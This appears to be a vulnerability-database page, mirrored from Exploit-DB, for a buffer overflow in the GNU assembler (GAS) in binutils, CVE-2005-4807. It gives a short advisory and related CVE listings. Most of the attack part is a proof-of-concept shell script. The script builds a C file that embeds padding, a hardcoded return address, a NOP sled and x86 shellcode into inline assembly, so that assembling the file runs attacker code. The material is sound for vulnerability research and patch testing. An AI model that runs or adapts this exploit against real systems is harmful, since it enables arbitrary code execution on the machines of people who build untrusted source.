Lucene search
+L

GNU BinUtils 2.1x - GAS Buffer Overflow

🗓️ 17 Aug 2006 00:00:00Reported by Tavis OrmandyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

GNU BinUtils GAS buffer overflow allows attackers to crash applications or execute arbitrary code.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2005-4807
18 Aug 200619:55
cve
Cvelist
CVE-2005-4807
18 Aug 200619:55
cvelist
Debian CVE
CVE-2005-4807
18 Aug 200619:55
debiancve
NVD
CVE-2005-4807
31 Dec 200505:00
nvd
OSV
DEBIAN-CVE-2005-4807
31 Dec 200505:00
osv
RedhatCVE
CVE-2005-4807
30 Oct 201509:34
redhatcve
SUSE CVE
SUSE CVE-2005-4807
15 Feb 202306:16
susecve
UbuntuCve
CVE-2005-4807
31 Dec 200505:00
ubuntucve
Tenable Nessus
Ubuntu 5.04 / 5.10 : binutils vulnerability (USN-336-1)
10 Nov 200700:00
nessus
source: https://www.securityfocus.com/bid/19555/info

GNU binutils GAS (GNU assembler) is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Remote attackers may crash the application or execute arbitrary machine code in the context of the application.

#!/bin/sh
#
# gas overflow poc, <[email protected]>

returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'

printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
	        __asm__ (PAD RET NOP EGG);
}
__EOF__

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2013 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
EPSS0.11917
30